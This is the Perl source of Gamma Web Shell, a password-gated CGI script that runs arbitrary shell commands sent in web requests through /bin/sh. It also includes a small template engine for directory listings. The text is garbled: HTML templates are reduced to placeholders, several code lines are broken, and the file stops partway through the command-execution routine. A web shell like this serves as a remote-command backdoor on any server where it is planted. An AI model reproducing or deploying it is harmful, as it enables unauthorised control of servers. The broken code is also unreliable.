#!/usr/bin/perl
###############################################################################
### Gamma Web Shell
### Copyright 2003 Gamma Group
### All rights reserved
###
### Gamma Web Shell is free for both commercial and non commercial
### use. You may modify this script as you find necessary as long
### as you do not sell it. Redistribution is not allowed without
### prior consent from Gamma Group (support@gammacenter.com).
###
### Gamma Group
###
[% for entry in directory %][% entry.name as html %]/[% end %]
Name
Size
Time
Owner
Group
Mode
[% for entry in entries %]
[% if entry.type_file %]
[% if entry.type_exec %]
[% entry.name as html %]
[% else %]
[% entry.name as html %]
[% end %]
[% elif entry.type_dir %]
[% entry.name as html %]/
[% else %]
[% entry.name as html %]
[% end %]
[% if entry.type_file %]
[% entry.size as html %]
[% else %]
[% end %]
[% entry.time as nbsp %]
[% entry.user as html %]
[% entry.group as html %]
[% entry.mode as html %]
sub new {
my ($class) = @_;
return bless {}, $class;
}
sub substitute {
my ($self, $input, %keywords) = @_;
my $statements = $self->parse($input);
my $operation = $self->compile($statements);
my $output = $self->evaluate($operation, \%keywords);
return $output;
}
sub parse {
my ($self, $input) = @_;
my $statements = [];
my $start = 0;
while ($input =~ /(\[%\s*(.*?)\s*%\])/g) {
my $match_end = pos($input);
my $match_start = $match_end - length($1);
if ($start 'text', text => $text };
}
push @$statements, $self->parse_command($2);
$start = $match_end;
}
if ($start 'text', text => $text };
}
return $statements;
}
sub parse_command {
my ($self, $command) = @_;
if ($command =~ /^if\s+(\w+(\.\w+)*)$/) {
return { id => 'if', test => $1, };
}
elsif ($command =~ /^elif\s+(\w+(\.\w+)*)$/) {
return { id => 'elif', test => $1 };
}
elsif ($command =~ /^else$/) {
return { id => 'else' };
}
elsif ($command =~ /^for\s+(\w+)\s+in\s+(\w+(\.\w+)*)$/) {
return { id => 'for', name => $1, list => $2 };
}
elsif ($command =~ /^end$/) {
return { id => 'end' };
}
elsif ($command =~ /^(\w+(\.\w+)*)(\s+as\s+(\w+))$/) {
return { id => 'print', variable => $1, format => $4 };
}
else {
die "invalid command: '$command'";
}
}
sub compile {
my ($self, $statements) = @_;
my $operation = $self->compile_sequence($statements);
if (scalar(@$statements)) {
my $statement = shift(@$statements);
my $id = $statements->{id};
die "unexpected statement: '$id'";
}
return $operation;
}
sub compile_sequence {
my ($self, $statements) = @_;
my $operations = [];
while (scalar(@$statements) > 0) {
my $id = $statements->[0]->{id};
if ($id eq 'if') {
push @$operations, $self->compile_condition($statements);
}
elsif ($id eq 'for') {
push @$operations, $self->compile_loop($statements);
}
elsif ($id eq 'print' or $id eq 'text') {
my $statement = shift @$statements;
push @$operations, $statement;
}
else {
last;
}
}
return { id => 'sequence', operations => $operations };
}
sub compile_condition {
my ($self, $statements) = @_;
my $conditions = [];
my $statement = shift @$statements;
my $id = defined $statement ? $statement->{id} : 'none';
while ($id eq 'if' or $id eq 'elif' or $id eq 'else') {
my $test = $id ne 'else' ? $statement->{test} : undef;
my $operation = $self->compile_sequence($statements);
push @$conditions, { test => $test, operation => $operation };
$statement = shift @$statements;
$id = defined $statement ? $statement->{id} : 'none';
}
die "'end' expected, but '$id' found" unless $id eq 'end';
return { id => 'condition', conditions => $conditions };
}
sub compile_loop {
my ($self, $statements) = @_;
my $statement = shift @$statements;
my $name = $statement->{name};
my $list = $statement->{list};
my $operation = $self->compile_sequence($statements);
$statement = shift @$statements;
my $id = defined $statement ? $statement->{id} : 'none';
die "'end' expected, but '$id' found" unless $id eq 'end';
return { id => 'loop',
name => $name, list => $list, operation => $operation };
}
sub evaluate {
my ($self, $operation, $keywords) = @_;
$keywords->{loop} = {};
my $chunks = $self->evaluate_operation($operation, $keywords);
return join('', @$chunks);
}
sub evaluate_condition {
my ($self, $conditions, $keywords) = @_;
for my $condition (@$conditions) {
my $test = $condition->{test};
my $value = defined $test ?
$self->evaluate_variable($test, $keywords) : 1;
return $self->evaluate_operation($condition->{operation}, $keywords)
if $value;
}
return [];
}
sub evaluate_loop {
my ($self, $name, $list, $operation, $keywords) = @_;
my $values = $self->evaluate_variable($list, $keywords);
my $length = scalar(@$values);
my $index = 0;
my $chunks = [];
for my $value (@$values) {
$keywords->{$name} = $value;
$keywords->{loop}->{$name} = {
index => $index, number => $index+1,
first => $index == 0, last => $index == $length-1,
odd => $index % 2 == 1, even => $index % 2 == 0,
};
push @$chunks, @{$self->evaluate_operation($operation, $keywords)};
$index++;
}
delete $keywords->{$name};
delete $keywords->{loop}->{$name};
return $chunks;
}
sub evaluate_print {
my ($self, $variable, $format, $keywords) = @_;
my $value = $self->evaluate_variable($variable, $keywords);
if ($format eq 'html') {
for ($value) { s/&/&/g; s//>/g; s/"/"/g; }
}
elsif ($format eq 'nbsp') {
for ($value) {
s/&/&/g; s//>/g; s/"/"/g; s/ / /g;
}
}
elsif ($format eq 'url') {
$value =~ s/(\W)/sprintf('%%%02X', ord($1))/eg;
}
elsif ($format ne '') {
die "unknown format: '$format'";
}
return [$value];
}
sub evaluate_variable {
my ($self, $variable, $keywords) = @_;
my $value = $keywords;
for my $name (split(/\./, $variable)) {
$value = $value->{$name};
}
return $value;
}
use CGI;
use CGI::Carp qw(fatalsToBrowser);
use IPC::Open3;
use Cwd;
use POSIX;
sub new {
my ($class) = @_;
my $self = bless { }, $class;
$self->initialize();
return $self;
}
sub query {
my ($self, @names) = @_;
my @values = ();
for my $name (@names) {
my $value = $self->{cgi}->param($name);
for ($value) { s/^\s+//; s/\s+$//; }
push @values, $value;
}
return wantarray ? @values : "@values";
}
sub initialize {
my ($self) = @_;
$self->{cgi} = new CGI;
$self->{cwd} = $self->{cgi}->cookie(-name => 'WebShell-cwd');
$self->{cwd} = cwd unless defined $self->{cwd};
$self->{cwd} = cwd if $WebShell::Configuration::restricted_mode;
$self->{login} = 0;
my $login = $self->{cgi}->cookie(-name => 'WebShell-login');
my $password = $self->query('password');
$self->{login} = 1
if crypt($WebShell::Configuration::password, $login."XX") eq $login;
$self->{login} = 1 if $password eq $WebShell::Configuration::password;
}
sub run {
my ($self) = @_;
return $self->login_action unless $self->{login};
my $action = $self->query('action');
$action = 'default' unless $action =~ /^\w+$/;
$action = $self->can($action . '_action');
$action = $self->can('default_action') unless defined $action;
$self->$action();
}
sub default_action {
my ($self) = @_;
$self->publish('INPUT');
}
sub login_action {
my ($self) = @_;
$self->publish('LOGIN', error => ($self->query('password') ne ''));
}
sub command {
my ($self, $command) = @_;
chdir($self->{cwd});
my $pid = open3(\*WRTH, \*RDH, \*ERRH, "/bin/sh");
print WRTH "$command\n";
close(WRTH);
my $output = do { local $/; };
my $error = do { local $/; };
waitpid($pid, 0);
return ($output, $error);
}
sub forbidden_command {
my ($self, $command) = @_;
my $error = "This command is not available in the restricted mode.\n";
$error .= "You may only use the following commands:\n";
for my $ok_command (@$WebShell::Configuration::ok_commands) {
$error .= " $ok_command\n";
}
return ('', $error);
}
sub cd_command {
my ($self, $command) = @_;
my $error;
my $directory = $1 if $command =~ /^cd\s+(\S+)$/;
warn "cwd: '$self->{cwd}'\n";
warn "command: '$command'\n";
warn "directory: '$directory'\n";
if ($directory ne '') {
$error = $! unless chdir($self->{cwd});
$error = $! unless chdir($directory);
}
$self->{cwd} = cwd;
return ('', $error);
}
sub execute_action {
my ($self) = @_;
my $command = $self->query('command');
my $user = getpwuid($>);
my $old_line = "[$user: $self->{cwd}]\$ $command";
my ($output, $error);
if ($command ne "") {
my $allow = not $WebShell::Configuration::restricted_mode;
for my $ok_command (@$WebShell::Configuration::ok_commands) {
$allow = 1 if $command eq $ok_command;
}
if ($allow) {
$command =~ /^(\w+)/;
if (my $method = $self->can("${1}_command")) {
($output, $error) = $self->$method($command);
}
else {
($output, $error) = $self->command($command);
}
